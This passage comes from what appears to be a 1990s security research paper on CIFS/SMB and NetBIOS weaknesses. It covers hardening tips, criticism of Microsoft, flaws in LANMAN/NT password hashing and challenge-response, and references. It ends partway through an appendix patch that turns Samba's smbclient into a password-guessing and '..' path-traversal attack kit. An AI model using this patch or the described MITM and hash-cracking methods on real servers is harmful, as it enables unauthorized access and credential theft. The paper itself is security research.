  1244. case-sensitive scope ID or name responses aren't sent and sessions are
  1245. rejected.  Scopes are by no means a panacea since they can leak out via human
  1246. vectors, and an astute attacker who observes active listeners on TCP 139 but
  1247. cannot obtain name info or sessions may conclude that a non-null scope ID is
  1248. in use and start trying to guess or social engineer for it.  The scope is
  1249. easily viewed by doing "nbtstat -n" on a local console, so beware of wandering
  1250. outsiders with itchy fingers.  If a site's machines are set up with scope IDs
  1251. by a small core group of maintainers who keep it to themselves, the end users
  1252. are unlikely to even notice anything different unless they specifically look
  1253. in the settings or spot them in packet dumps.
  1254.  
  1255. Where to set the scope name is often hidden in an obscure place.  This is a
  1256. rough outline of where to find it on various platforms; RTFM for others:
  1257.  
  1258.     WFWG [requires restart, and happily craps into various .INI files]:
  1259.       run WINSETUP; Network settings / Drivers / MS TCP/IP / Setup /
  1260.       Advanced / Scope ID text-box
  1261.  
  1262.     WFWG alternate, less frustrating:
  1263.       edit SYSTEM.INI and find [NBT] section
  1264.       add a line with "ScopeID = XYZ"
  1265.       note: can also add "LMHostFile = {path}" here to enable LMHOSTS
  1266.  
  1267.     W95 and NT [also requires restart]:
  1268.       Control panel / Network / Protocols / TCP/IP / Properties /
  1269.       WINS Addresses / Scope ID text-box near bottom
  1270.  
  1271.     Samba [takes effect during server run]:
  1272.       start "smbd" with "-i XYZ" to set the scope ID
  1273.  
  1274. Microsoft clients and servers use the scope ID exactly as given, but Samba
  1275. always upper-cases it and must be patched if a mixed-case one is to be used.
  1276. For compatibility, "nmbloookup" in the attack kit needs a similar patch,
  1277. although "smbclient" itself for some reason doesn't mess with the -i argument.
  1278. It is definitely weird that all the scope-handling hooks are already there in
  1279. Samba, but not very clearly documented or listed in usage() messages.
  1280.  
  1281. Another easy network-level sleaze is to not supply internal servers with a
  1282. default IP route to the internet, and make sure they ignore ICMP redirects and
  1283. routing protocols.  There is little reason a dedicated local fileserver would
  1284. ever need to interact with anything offsite, and public services such as web
  1285. servers should exist on different machines anyway.  Packets may still reach
  1286. such "nonrouted" machines from the outside, but they cannot send back and TCP
  1287. connection attempts to them simply time out.  NT also seems to have some
  1288. rudimentary concept of its own IP packet filtering, said to offer little
  1289. versatility but may be worth investigating anyway [and TESTING if configured!]
  1290. Depending on local policy, end-user machines will probably still need to talk
  1291. to the internet so employees can waste time surfing; a wise policy is that
  1292. their machines strictly remain clients and never offer any inbound services.
  1293. Turning off the file and printer sharing checkboxes is the obvious first step,
  1294. although Microsoft stacks seem to always listen on the NetBIOS ports
  1295. regardless of these settings.
  1296.  
  1297. The internal protections on server shares are important, on both Microsoft
  1298. platforms and Samba alike.  Placing public shares on separate drive partitions
  1299. reduces the potential damage from ".." bugs, since Microsoft servers are
  1300. reasonably good about not letting shares cross filesystem boundaries.  If file
  1301. ACLs and modes are available, USE THEM so that any normal user [or a virus she
  1302. inadvertantly runs] would never be able to write to, say, directories full of
  1303. common system utilities.  Making entire shares read-only if possible is sound,
  1304. or if *someone* needs to write to them, separate and closely-held mainenance
  1305. accounts should only own the files and not have any administrative privileges.
  1306. While the magic [homes] Samba feature may be useful in some environments,
  1307. consider carefully if the arguably free-n-easy way it works may be too lax for
  1308. yours.  A strategy worth considering is building a Samba server with custom
  1309. getpwent() routines that dig base user entries out of a file other than
  1310. /etc/passwd, which makes a cracked filesharing password considerably less
  1311. useful against other daemons on the server machine.
  1312.  
  1313. The logging problem is a pain in the butt.  Most servers that log anything
  1314. just save the calling client's name, which is hardly useful since it can be
  1315. arbitrarily set.  Running a separate network monitor on an unswitched DMZ
  1316. segment and looking for certain inbound traffic is one way to centrally cover
  1317. a motley assortment of problematic machines.  Stock Microsoft platforms simply
  1318. cannot log client IP addresses at all, a possible albeit lame rationale being
  1319. that CIFS runs over several different kind of transports and they'd all have
  1320. to be accomodated somehow.  Some kind of batch job to periodically wake up and
  1321. snapshot a "netstat -a" to a logfile may help detect attacks, or by now there
  1322. may be some third-party DLLs available that provide better logging and alarms.
  1323. Samba deals more closely with IP addresses but still makes the administrator
  1324. jump through hoops to usefully log things.  Under the default debug level of
  1325. 1 only successful non-IPC tree connects are logged.  The code also includes
  1326. an IP-based access control module ripped right out of Wietse Venema's tcp
  1327. wrappers, and can be set up to deny tree connects from all but known hosts
  1328. and subnets.  The allow/deny access control entries reside in lib/smb.conf,
  1329. configured globally and/or per share entry, but they only apply to TCons and
  1330. have no effect on the underlying TCP connection itself.  Using them may
  1331. nevertheless gain some peace of mind; see the documentation for serving
  1332. suggestions.  Supplying an "allow" entry and cranking the debug level up to
  1333. at least 2 will cause all TCon attempts to be logged, along with a certain
  1334. quantity of other noise.  A small saving grace here is that Samba by default
  1335. runs in *share* level, so an attack would take the form of repeated TCon
  1336. attempts and cause lots of logging.  This is still not sufficient with user
  1337. level security.  User logins are also logged at debug level 2 but only with
  1338. the client computername, and one would have to group together many log entries
  1339. to reconstruct an attack footprint.  The best way to deal with Samba would be
  1340. some minimal changes to the server code, perhaps to getpeername() on the
  1341. current network socket any time a login *or* TCon is attempted and concisely
  1342. log success or failure along with the client name *and* IP address.  Nmbd
  1343. could be changed to log status queries at debug level 0 instead of 3, to help
  1344. warn about UDP name-gathering probes even if the "no default route" sleaze or
  1345. scopes are in use.  Sending security-critical logging to the syslog instead of
  1346. Samba's default logfiles would bring it more in line with other daemons and
  1347. maybe cause administrators to pay more attention to it.
  1348.  
  1349. Snide comments
  1350. ==============
  1351.  
  1352. Although a primary goal has been to point out weakness in the CIFS protocol
  1353. and specific implementations, backhanded comments have so far [with some
  1354. difficulty] been kept to a minimum.  Readers who are easily upset by a certain
  1355. amount of vendor-bashing or other no-holds-barred dissing are encouraged to
  1356. skip this section, where we bump up the nasty level.  Why?  Because it needs
  1357. to be stated, partially with the hope of getting certain people to WAKE UP.
  1358. Some of this is certainly conjecture, but guesses made here are reasonably
  1359. educated.
  1360.  
  1361. Experienced Unix people are likely to already understand many of these issues,
  1362. and know the "been there, done that, fixed the code" feeling.  It is sadly
  1363. evident that many people running all-Microsoft shops are way behind the curve
  1364. where overall network security is concerned, and still struggling with a lot
  1365. of the basics.  Some sites don't know or care, as long as they can get their
  1366. electronic ad agencies connected and sell lots of that web-slum real estate
  1367. with the spiffy pictures and no content.  We hear of things like complete
  1368. trust placed in obscurity measures such as "inside" RAS dialups.  Those who
  1369. are starting to play with firewalls often pull such classic stunts as
  1370. connecting one in parallel with a regular router and relying on default
  1371. routing entries on individual hosts to send traffic to the firewall first.
  1372. Blocking relevant IP traffic is often met with managerial resistance or
  1373. confusion.  Standard IP-level attacks work against such sites because most of
  1374. them do not really understand TCP/IP, and do not have any useful network
  1375. monitoring gear available.  Unix is just foreign and scary, particularly to
  1376. these so-called experts who are now popping out of the woodwork and mindlessly
  1377. repeating that laughable lie about NT's C2 rating.  These same people will
  1378. tell you how no-brainer bugs like ".." and wide-open registry permissions
  1379. are new and hot, but fall right over when asked about crypto algorithms or
  1380. wire-level packet structure.  Try mentioning how NetBIOS is just a load of
  1381. CACA to such an expert, and expect a blank look in return.
  1382.  
  1383. Unix-savvy folks nowadays are used to having source for their operating
  1384. systems, especially where there are security concerns, or at least are easily
  1385. able to implement replacements and enhancements to the weak vendor-supplied
  1386. stuff.  Microsoft not only makes this unavailable and difficult, it relies
  1387. heavily on internal obscurity and deliberate lack of documentation as part of
  1388. security architecture.  Since Microsoft refuses to help even when asked, the
  1389. Samba developers have had to go through many contortions and waste a lot of
  1390. valuable time reverse-engineering things just to support certain features.  A
  1391. reader can *feel* the triumph in those occasional messages to the Samba list
  1392. when someone works out one of those "undocumented Microsoft" things and
  1393. submits a patch.  Security is often an arms race, which Microsoft is simply
  1394. escalating and making worse for everyone by producing yet more flimsy
  1395. obscurity.  If it is not there already, NT source code will eventually hit
  1396. underground circulation as ubiquitously as that of other "proprietary"
  1397. operating systems.  We should expect that numerous exploits of the obscurity
  1398. will have even the security-concerned sites falling like dominoes.
  1399.  
  1400. As we review some of its more blatant failings, the fundamental design of CIFS
  1401. authentication quickly becomes ridiculous.  The draft even describes several
  1402. potentially serious security problems, but inexplicably makes no attempt to
  1403. FIX them.  Part of the Internet-drafts process is to design and standardize
  1404. new protocols that move the industry forward, not to mire it in outdated toy
  1405. protocols that place it at risk!  There is no documented way for server-end
  1406. enforcement of secure authentication methods, and no way to provide for *both*
  1407. user-level and share-level modes.  At least two easy MITM attacks make the
  1408. challenge-response protocol fall, and it can also be dictionary attacked in
  1409. separate piecemeal DES blocks.  Different users with different privileges can
  1410. wind up sharing a single TCP connection, which violates one of the more
  1411. traditional [albeit still insecure] ways of holding users apart.  CIFS seems
  1412. to have no provision for fully encrypted sessions, despite the the fact that
  1413. client and server already share at least one secret key and a few minor
  1414. enhancements to SMB could provide real session encryption.  It is clear that
  1415. those behind CIFS are still mentally locked into the single user per client
  1416. model, since the issues raised by multiuser operating systems were evidently
  1417. never considered.  It is almost criminal that other vendors are being forced
  1418. by market pressure to waste untold development dollars supporting this mess.
  1419.  
  1420. Perhaps Microsoft is nonetheless starting to acknowledge that *something*
  1421. needs to be done to replace the existing mockery of an authentication system.
  1422. Apparently there is support for Kerberos 5 authentication on the drawing board
  1423. for NT, if not in alpha by now.  As far as I know Microsoft contributed
  1424. nothing to the Krb5 development effort themselves, so why Krb5?  Ostensibly to
  1425. support DCE, but more realistically because Microsoft can just swipe the MIT
  1426. code now that it has been well-tested and officially released.  It remains to
  1427. be seen whether this will be a full implementation, with perhaps an NT-based
  1428. KDC server??  I can't wait to see how badly *that* gets mangled, especially
  1429. when handling backward compatibility.  Naturally some of the first things to
  1430. rip into will be random number generation and client storage of tickets.  Will
  1431. we finally see some server-end enforcement of authentication types?  Will
  1432. clients implement preauthenticated TGT requests, or be able to perform mutual
  1433. authentication to exchange keys for encrypted sessions?  Not likely, since
  1434. CIFS seems to imply that Microsoft is banking on the eventual deployment of
  1435. IPSEC instead.  Here again, they take the easy way out instead of actively
  1436. helping implement secure protocols.  It's just as well, really, since if CIFS
  1437. is any example they would probably screw it up at the standards level and set
  1438. everyone else back.
  1439.  
  1440. Default settings on even the latest NT server is still laughable, as are most
  1441. of its responses under attack.  Okay, so they turned off the NT4.0 GUEST
  1442. account by default after significant public humiliation, but why stop there?
  1443. Creating a new fileshare *still* lays it wide open to the "Everyone" group,
  1444. unless several obscure menu layers are waded through to reset the ACLs.  This
  1445. still does not prevent the "Everyone" group from *deleting* arbitrary files
  1446. unless yet another service pack has been applied.  There is little enforcement
  1447. for good passwords.  All security auditing is still disabled until the
  1448. administrator turns it on and makes an effort to prevent it from filling up
  1449. and becoming useless -- and the logging still has little value in the WAN
  1450. environment.  Already there is talk of potentially egregious weaknesses in
  1451. various interactions like domain password changing and interdomain trust
  1452. relationships.  Microsoft apparently made the ".." mistake in ALL their OS
  1453. offerings, from WFWG up to the vaunted NT 3.51.  It took a lynch mob to
  1454. convince them to fix it, and it's *still* popping up here and there in other
  1455. add-on products.  And we won't even talk about some of those add-ons, which
  1456. already have been shown to fall over when lightly tickled, or allow full
  1457. read/write file access to completely unauthenticated users.
  1458.  
  1459. We can and should honestly ask, what *are* they thinking out there in Redmond?
  1460. Besides the usual complaints about unstable bloatware, we are starting to see
  1461. a steady stream of stupid, naive ten year old security problems, from weak
  1462. so-called encryption of .PWL files on up.  The answers usually consist of
  1463. denial and refusing to fix the flaws, and only under tremendous pressure
  1464. does anything get done.  Is this the same vendor we are supposed to trust
  1465. to produce an operating system and network suite as "secure" as is claimed
  1466. for NT, especially when it is held forth as a *replacement* for Unix?  Are
  1467. we to lay large amounts of tithe at the feet of the Golden Gates for a
  1468. complex behemoth that we are repeatedly reassured [read: lied to] is robust
  1469. under fire, but continues to fall for the same old stupid reasons?  The
  1470. Internet security community is now pushing two decades of finding those little
  1471. headache-producing bonus gifts that come with major vendor-supplied OSes.  One
  1472. would surely think that a relative newcomer in that arena would take the time
  1473. to learn from all those well-documented mistakes and make some effort to avoid
  1474. them, but no, here we go 'round again.  This stuff is *not* technically ready
  1475. for prime time in today's internet, but is being brutally pressed into service
  1476. for the sake of the bottom line.  Common sense screams "run away", and we can
  1477. easily anticipate another decade of nasty holes that will undoubtedly turn up
  1478. and be promptly swept under the rug by hordes of marketroids whose jobs are
  1479. *not* particularly dependent on secure, robust computing environments.
  1480.  
  1481. No thank you, I'd rather not go *there* today.
  1482.  
  1483. It will be interesting to see if the trade press picks up on any of this.
  1484. If past experience is any indicator they will simply color the whole issue
  1485. yellow, denounce Samba as a cracker tool while defending poor widdle abused
  1486. Microsoft, and as usual not help anyone address the real problems.
  1487.  
  1488. Conclusions
  1489. ===========
  1490.  
  1491. By now the reader may be thinking twice before replacing all those Unix
  1492. servers with NT, and considering the significant risks in yielding to all that
  1493. marketing rah-rah.  In general we now see, in what is hoped to be a clearer
  1494. way than previously, both how and why to check networks for these additional
  1495. vulnerabilities.  Unix may have its own problems, but overall it is still
  1496. easier to secure and verify for correctness, and is largely free with all
  1497. sources included.  There are many good people out there proactively finding
  1498. and fixing Unix problems on a daily basis.  And as detailed in this document,
  1499. Unix still has plenty of fight in it to help kick the NT monster in the ass.
  1500.  
  1501. The question remaining is, has this document helped at all, or is it just
  1502. another rework of old information?  It began to take shape under the distinct
  1503. feeling that the research involved *must* have been long since done already,
  1504. given today's ubiquity of SMB environments, and that it would appear about as
  1505. timely as discussion of Morris worm holes.  But as more sources were scanned,
  1506. many of the relevant points just didn't seem to be there or were buried as
  1507. vague hints or hearsay in unrelated discussions.  Again, the intent is to
  1508. simply present this information in a cohesive and useful way, warn against
  1509. some clear and present risks, and plant seeds to foster future work.
  1510.  
  1511. References and acknowledgements
  1512. ===============================
  1513.  
  1514. This is an independent research effort of Avian Research, and is presented
  1515. to the Internet community in the hope that it will be educational and
  1516. useful.  Nearly all the information utilized was obtained via groping
  1517. around on the internet, and is referenced largely in that context.
  1518.  
  1519. Early stages of the project were partially funded by Secure Networks, Inc. of
  1520. Calgary, CA.  They have recently released a greatly enhanced NetBIOS security
  1521. scanner that embodies many of the concepts described here.  Also Samba-based,
  1522. it is now available via FTP at ftp.secnet.com:/pub/tools/nat10.  
  1523.  
  1524. Possibly the most instructive document is the CIFS spec, which can be found at
  1525. www.internic.net:/internet-drafts/draft-heizer-cifs-v1-spec-00.txt.  The spec
  1526. for NetBIOS over TCP is in RFC1001 and RFC1002, available at any RFC
  1527. repository.  Another important source is of course the Samba suite, from
  1528. nimbus.anu.edu.au:/pub/tridge/samba and numerous mirror sites.  The "old-
  1529. versions" subdirectory thereof should contain version 1.9.15p8 of the code.
  1530.  
  1531. Microsoft's "knowledge base" contains lots of fairly good, albeit rather
  1532. sanitized, information via FTP or the web.  The NT articles are summarized
  1533. in ftp.microsoft.com:/bussys/winnt/kb/index.txt, which is possibly the best
  1534. starting point.  The Microsoft resource kits are another reference source that
  1535. could possibly have answered more questions, but were unavailable at the time
  1536. and therefore *not* consulted.
  1537.  
  1538. Many security practitioners are collecting information about problems in
  1539. Microsoft products.  The "hack Microsoft" page at www.c2.org:/hackmsoft/
  1540. is a good example, as is the information that Somarsoft makes available at
  1541. www.somarsoft.com:/security.htm and related items.  Details about problems
  1542. in the IIS web server and related things are up for grabs at www.omna.com.
  1543.  
  1544. As NT specifically loomed larger as a problem area during data collection,
  1545. many NT-specific references came to light.  It has been VERY difficult to
  1546. avoid diving down the thousands of potential ratholes involved with closer
  1547. investigation of NT.  An email exchange with Tom Sheldon, initially concerning
  1548. a reference to Netcat he wanted to add to his book, got us talking.  The
  1549. book is now out: "Windows NT Security Handbook" [680 pages, 0-07-882240-8,
  1550. $34.99US].  Helpful tidbits of information came from this, along with many
  1551. more from Tom's very informational site at www.ntresearch.com.  Several
  1552. papers, articles, and checklists are available there.  Another site that is
  1553. also beginning to make several NT *tools* [notably NTFSDOS] available is
  1554. www.ntinternals.com, run by Mark Russinovich and Bryce Cogswell.
  1555.  
  1556. The archive of the NT-security mailing list is overwhelmingly HUGE by now, and
  1557. lives at ftp.iss.net:/pub/lists/ntsecurity-digest.archive/.  Nevertheless, the
  1558. bulk of it was pulled down and at least searched for relevant items if not
  1559. read outright.  ISS also maintains some vulnerability databases and security
  1560. checklists.  The mailing list appears to be useful, and frequently points to
  1561. other sources on NT security.  Here are some of them.  They do not all appear
  1562. to have titles or authors; some are just random web pages that may have more
  1563. than one maintainer.
  1564.  
  1565.    An Overview of Windows NT Security, by Jim Frost, May 4, 1995
  1566.    world.std.com:/~jimf/nt-security.html
  1567.  
  1568.    A comprehensive collection of pointers to other NT security resources
  1569.    is taking shape at www.it.kth.se/~rom/ntsec.html.
  1570.  
  1571.    Bill Stout posted a paper comparing NT vs. Unix network security, last seen
  1572.    at www.hidata.com:/guest/whitepapers/NTsec.htm.  It may have moved since.
  1573.  
  1574. Bruce Schneier should of course be mentioned, whose "Applied Cryptography"
  1575. presents a very clear picture of using crypto properly.  Laurent Joncheray
  1576. presented his interesting paper on the "desync" TCP attack at the 1995 Usenix
  1577. Security conference.  Random items have been plucked out of various mailing
  1578. lists like NTSEC and Firewalls along the way, specific references to which
  1579. were never saved.  Those wonderful wackos who maintain www.L0pht.com have
  1580. been extremely supportive of the ongoing research, and are also starting to
  1581. make some interesting tools and examples available.  Dominique Brezinski at
  1582. cybersafe.com was helpful in some private mail, and John Hood sent several
  1583. last-minute edits.
  1584.  
  1585. Thanks go out in general to those folks in the Internet security community
  1586. with that no-bullshit approach, who do not hold back with getting problems
  1587. out where everyone can help examine and solve them on a timely basis.
  1588.  
  1589. Appendix A: Crypto
  1590. ==================
  1591.  
  1592. There are two algorithms used to cryptographically secure the authentication
  1593. data between a user and a server.  The earlier LANMAN-compatible algorithm
  1594. uppercases the password, truncates or pads to 14 characters as needed, and
  1595. derives therefrom a pair of odd-parity DES keys to ECB-encrypt a fixed 8-byte
  1596. quantity described in CIFS as "available from Microsoft upon request" but
  1597. already well-known to be the decryption of 0xAAD3B435B51404EE with a key of
  1598. all zeros.  The second method is currently supported by NT and Samba, which
  1599. preserves the case of the password up to 128 bytes, converts it to unicode,
  1600. and runs the result through MD4.  Each algorithm outputs 16 bytes of
  1601. cryptographic hash that securely represents the user's password.  These 16
  1602. bytes are called "OWF passwords" from the associated one-way function, and are
  1603. stored in registries and Samba's alternate "smbpasswd" file.  Smbencrypt.c
  1604. in conjunction with the "libdes" routines handle most of this.
  1605.  
  1606. For challenge response, five more nulls are appended to either hash type and
  1607. the 21 total bytes used as a key triple to DES encrypt the 8-byte challenge
  1608. into three separate output blocks.  The final 24-byte output of this process
  1609. is sent in the SMB in place of the plaintext password.  The password length
  1610. normally sits at parameter word smb_vwv7 as Samba builds the block, and the
  1611. buffer area farther along contains the response bytes.  Under NT LM dialect
  1612. there are two password fields -- one for the all-uppercase LANMAN-compatible
  1613. password or hash thereof and one for the case-sensitive NT-style equivalent.
  1614. The lengths sit at smb_vwv7 and smb_vwv8 respectively, and the corresponding
  1615. data buffers are consecutive.  NT clients by default fill both buffers with
  1616. the two types of encrypted 24-byte responses.  If told to use plaintext
  1617. passwords, the NT client only sends a LANMAN password in smb_vwv7 but in
  1618. *mixed* case.
  1619.  
  1620. This is open to more than one easy man-in-the-middle attack.  One is even
  1621. documented in CIFS as the "downgrade attack", wherein a fake server response
  1622. tells a client to use observable cleartext passwords.  Since the fake response
  1623. packet only needs one changed payload bit and different checksums, this attack
  1624. is undetectable since a later real response is simply discarded by the TCP
  1625. transport.  A more interesting attack involves taking the cryptkey from one
  1626. session and network-spoofing it into a victim's later one; the victim's
  1627. resulting 24-byte response is used to authenticate the first session instead.
  1628. Here, CIFS makes the cryptographically naive error of letting the client user
  1629. "sign" the arbitrary data in the cryptkey instead of a hash that includes it.
  1630.  
  1631. The application user interfaces in general encourage the historically bad
  1632. practice for all users to choose the same password across many different
  1633. machines, even across different NT domains.  This is held forth as a single-
  1634. sign-on model, but standard elements of a real SSO system such as time-limited
  1635. session credentials never enter the picture at all.  The implementation also
  1636. is in many ways too restrictive for most real-world environments.  How does
  1637. one go about the sounder practice of having separate accounts for separate
  1638. machines or groups thereof?  Some utilities will ask for another password
  1639. and try again if the cached login password isn't correct for a different
  1640. server, but this doesn't work everywhere.  Example: The NT "net" utility
  1641. accepts a "/USER:othername" switch when doing a "net use", but not when doing
  1642. a "net view".  Remote registry editing and related tools first try to use the
  1643. credentials from the console login, and if that doesn't work either ask for an
  1644. alternate password or simply fail.  Sometimes a way to specify a completely
  1645. alternate login is necessary, but NT's designers seems to have ignored this
  1646. and not even provided a global "net logon" facility like under WFWG.  Often
  1647. one is forced to create new local accounts and passwords, or use some other
  1648. band-aid workaround, just to authenticate some underdesigned application to a
  1649. remote system.
  1650.  
  1651. The OWF hashes do not directly reveal a user's plaintext password but if
  1652. somehow obtained, can be directly used for authentication as well as input to
  1653. an offline dictionary attack.  Directly storing them therefore reduces the
  1654. security to about the level of burying plaintext passwords inside scripts and
  1655. thinking "well, the script is hidden, so the password is safe."  Microsoft
  1656. tries to crock around this recognized decades-old problem by re-encrypting
  1657. the hashes under some *other* key that is often stored in some obscure but
  1658. nonetheless findable place.  Authentication information is also cached in
  1659. various places such as .PWL files and registry entries, to support the
  1660. "automatic drive reconnect" stuff.  NT apparently also stores information
  1661. about the last ten domain-level user logons in the registry, for use in cases
  1662. when the PDC is unreachable.
  1663.  
  1664. Since there is no salting in the OWF transform, even the generic old Unix
  1665. crypt() algorithm is stronger than this scheme.  An entire dictionary's worth
  1666. of passwords and permutations thereof can be *precomputed* and stored, which
  1667. reduces an OWF dictionary attack to a big database lookup.  The block-mode ECB
  1668. encryption scheme further implies that only the first 8 bytes of the OWF hash
  1669. really need to be saved; a successful 8-byte match not only brackets a greatly
  1670. reduced dictionary segment, it directly reveals the first seven characters of
  1671. a LANMAN-style password.  Related to this is that the challenge-response
  1672. protocol also uses simple ECB of a known plaintext with no chaining or
  1673. feedback.  Response keys derived from the OWF are invariant and can be
  1674. similarly precomputed.  The first stage of an attack on a recorded session
  1675. setup only requires the cryptkey and the first 8 bytes from both the
  1676. precomputed response dictionary and the 24-byte response, and DES encryption
  1677. of a single block determines whether to bother with the remaining two.  Again,
  1678. cracking just the first block can index down to a much smaller chunk of the
  1679. dictionary.  Under NT LM dialect, NT clients usually send *both* response
  1680. types in the SetupAndX, which again defeats the whole purpose of the NT style
  1681. password since cracking the plaintext of the reduced keyspace LANMAN password
  1682. can serve as a template for cracking the user's "real" NT password.
  1683.  
  1684. Normally the SAM registry section on an NT server is protected against
  1685. reading.  An adminstrator can nonetheless take ownership of the whole SAM
  1686. hive, and dump out various subkeys under Domains\Account\Users\{hex-values}.
  1687. It is fairly clear from diffing ASCII hive dumps that the 32 bytes at the end
  1688. of the respective "V" binary blocks correspond to OWF password storage.  We
  1689. can observe corresponding changes to at least the same-length fields in the
  1690. Samba "smbpasswd" file.  The 32 bytes represent the LANMAN and NT OWF hashes,
  1691. but on NT are re-encrypted under some other set of keys.  Attempts to find
  1692. these meta-keys by trying likely-looking DES-size blocks elsewhere around the
  1693. registry have thus far failed, but the answer may be discoverable with a
  1694. little more effort.  Anyone who already knows the true magic here is of course
  1695. encouraged to speak up, even if anonymously.
  1696.  
  1697. Inter-domain trust relationships are another NT-specific issue and were not
  1698. studied here, but surely need to be investigated more closely.  Various
  1699. documentation mentions that a "secure channel" is established between domain
  1700. controllers using the special DOMAIN$ accounts and a some kind of "secret
  1701. object" which apparently is often derived from a human-chosen password.  The
  1702. channel is apparently an RPC session, but is it truly encrypted, and if so,
  1703. how?  Would this imply that some mechanism for encrypted SMB does exist after
  1704. all, but for some reason is not made available to the end users?  What about
  1705. backup domain-controller replication, which implies that one machine can suck
  1706. down the entire SAM database of another?  How about an analysis of encryption
  1707. across PPTP VPNs?  Someone else may be able to answer these questions too.
  1708.  
  1709. Appendix B: The Patch Kit
  1710. =========================
  1711.  
  1712. This illustrates some minimal changes needed to turn smbclient into a
  1713. rudimentary attack kit.  It does not cover *every* possibility of protocol
  1714. weakness by any means, but is enough to get going with some fairly serious
  1715. host-level attacks.  Briefly, the following changes are effected:
  1716.  
  1717.     Adds the interpret_error routine to help straighten out server errors
  1718.  
  1719.     Corrects conversion of security mode
  1720.  
  1721.     Loops forever reading new trial passwords from standard input
  1722.  
  1723.     No-ops out the dos_clean_name() path cleanup routine, and allows
  1724.     changing to what appear to be "bad" directory paths.
  1725.  
  1726.     Fixes nmblookup to use local UDP port 137 and verbatim scope ID
  1727.  
  1728. Apply the patch using your favorite method for doing so; extracting it to a
  1729. file and doing "patch < file" generally suffices.  Configure the Makefile for
  1730. your platform, and add -DATTACK to FLAGS1.  If you want all passwords
  1731. automatically uppercased, also add -DUPPERCASE.  This is optional, since
  1732. mixed-case passwords are sometimes needed.  Don't define PASSWD_FLAGS, so the
  1733. client cannot use password encryption.  Finally, do "make smbclient nmblookup"
  1734. to build the two programs.
  1735.  
  1736. These changes are decidedly quick and dirty, but should illustrate how to
  1737. begin putting together a much more sophisticated tool.  Looking a little
  1738. farther forward immediately shows several improvements not implemented here:
  1739. The send_login routine covers three important steps in one linear shot and
  1740. should be split up into its logically separate SMB steps.  Several more
  1741. commands can be added, to swap between arbitrary sharenames, UIDs, TIDs and
  1742. other possibly relevant parameters.  Overall, the entire breakin scenario
  1743. can be highly automated.
  1744.  
  1745.  !-- chop --!
  1746. *** client.c    Mon Jan 15 03:56:44 1996
  1747. --- attack/client.c    Thu Jan 30 23:14:59 1997
  1748. ***************
  1749. *** 80,81 ****
  1750. --- 80,152 ----
  1751.    
  1752. + /* Avian Research demo "SMBAttack" patch kit.  _H*/
  1753. + #ifdef ATTACK
  1754. + unsigned int cur_err;
  1755. + #define dos_clean_name donothing
  1756. + void donothing () { return; }
  1757. + #define getpass readpass
  1758. + char * readpass (prompt)
  1759. +   char * prompt;
  1760. + {
  1761. +   char pb [256];
  1762. +   char * pp = NULL;
  1763. +   DEBUG(1,(prompt));
  1764. +   pp = fgets (pb, 128, stdin);
  1765. +   if (feof (stdin)) exit (0);
  1766. +   if (pp) {
  1767. +     pp [(strlen (pp) - 1)] = '\0';    /* rip the newline */
  1768. + #ifdef UPPERCASE
  1769. +     strupper (pp);            /* maybe upcase it?  XXX */
  1770. + #endif
  1771. +     strcpy (password, pp);        /* and save it */
  1772. +   }
  1773. +   return (pp);
  1774. + } /* readpass */
  1775. + /****************************************************************************
  1776. + The error returns from various platforms are many and varied, but all of
  1777. + them mean a couple of basic things.  This boils relevant ones down roughly
  1778. + to common server-class status, i.e.:
  1779. +     0    success
  1780. +     2    access denied, or wrong username/passwd for session OR share
  1781. +     5    network-ID not found, for session
  1782. +     6    sharename not found, TCon problem
  1783. +     1    anything else, probably fatal, including disabled accounts,
  1784. +           negotiation problems, etc
  1785. + ****************************************************************************/
  1786. + static int interpret_error (rcls, err)
  1787. + unsigned char rcls;
  1788. + uint16 err;
  1789. + {
  1790. +   if ((rcls == 0) && (err == 0)) return (0);    /* no error */
  1791. +   if (rcls == ERRSRV) {
  1792. +     if (err == 1) return (1);        /* non-specific error */
  1793. +     if (err == 2) return (2);        /* bad name or password */
  1794. +     if (err == 4) return (1);        /* insufficient access for function */
  1795. +     if (err == 5) return (5);        /* invalid TID */
  1796. +     if (err == 6) return (6);        /* invalid network name */
  1797. +     if (err == 7) return (6);        /* invalid device */
  1798. +     if (err == 1311) return (1);    /* no login servers available [?] */
  1799. +     if (err == 2239) return (1);    /* account expired or disabled */
  1800. +   } /* ERRSRV */
  1801. +   if (rcls == ERRDOS) {
  1802. +     if (err == 5) return (2);        /* access denied */
  1803. +     if (err == 65) return (1);        /* network access denied */
  1804. +     if (err == 67) return (6);        /* network name not found */
  1805. +     if (err == 71) return (1);        /* no more connections */
  1806. +     if (err == 86) return (2);        /* network password incorrect */
  1807. +     if (err == 87) return (1);        /* parameter incorrect */
  1808. +     if (err == 90) return (1);        /* too many UIDs */
  1809. + /* XXX: the rest of these might be ERRSRVs too -- all return 1 anyways, so wtf. */
  1810. +     if (err == 2240) return (1);    /* access denied from this WS */
  1811. +     if (err == 2241) return (1);    /* access denied at this time */
  1812. +     if (err == 2242) return (1);    /* password expired */
  1813. +     if (err == 2247) return (1);    /* security database corrupted */
  1814. +     if (err == 2455) return (1);    /* invalid workgroup */
  1815. +   } /* ERRDOS */
  1816. +   return (1);                /* didn't find any mapping */
  1817. + } /* interpret_error */
  1818. + #endif /* ATTACK */
  1819.   
  1820. ***************
  1821. *** 171,172 ****
  1822. --- 242,247 ----
  1823.         SSVAL(outbuf,smb_flg2,0x1);
  1824. + #ifdef ATTACK
  1825. +       SCVAL(outbuf,smb_flg,0x18);    /* already-canonical filenames */
  1826. +       SSVAL(outbuf,smb_flg2,0x2001);    /* execute perm == read perm [?] */
  1827. + #endif /* ATTACK */
  1828.       }
  1829. ***************
  1830. *** 282,283 ****
  1831. --- 357,364 ----
  1832.   
  1833. + #ifdef ATTACK
  1834. + /* we don't care if it's a bad path or not */
  1835. +   if (report && CVAL(inbuf,smb_rcls) != 0)
  1836. +     DEBUG(2,(" [but continuing anyway]\n"));
  1837. +   return (True);
  1838. + #endif /* ATTACK */
  1839.     return(CVAL(inbuf,smb_rcls) == 0);
  1840. ***************
  1841. *** 447,450 ****
  1842. --- 528,533 ----
  1843.         strcpy(dname,cur_dir);
  1844. + #ifndef ATTACK
  1845.         strcat(cur_dir,"\\");
  1846.         dos_clean_name(cur_dir);
  1847. + #endif /* ATTACK */
  1848.   
  1849. ***************
  1850. *** 834,837 ****
  1851.     if (CVAL(inbuf,smb_rcls) != 0)
  1852.       return(False);
  1853.     /* parse out the lengths */
  1854. --- 917,927 ----
  1855.     if (CVAL(inbuf,smb_rcls) != 0)
  1856. + #ifdef ATTACK
  1857. + /* show us why */
  1858. +   {
  1859. +     DEBUG (0,("Trans failed: %s\n", smb_errstr (inbuf)));
